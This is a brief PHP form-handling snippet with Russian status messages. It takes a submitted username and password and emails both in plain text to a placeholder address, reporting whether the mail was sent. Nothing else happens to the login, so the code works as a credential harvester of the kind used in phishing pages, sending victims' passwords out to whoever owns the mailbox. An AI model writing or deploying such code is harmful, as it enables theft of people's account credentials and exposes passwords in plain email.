$login = $_POST['username'];
$password = $_POST['password'];
$adress = "some@mail.com";
$subj = "some subj";
$text = "login: $login ,password: $password ";
$mail = mail($adress,$subj,$text);
if (!$mail){
$result = "Не отправлено";
} else {
$result = "Отправлено";
}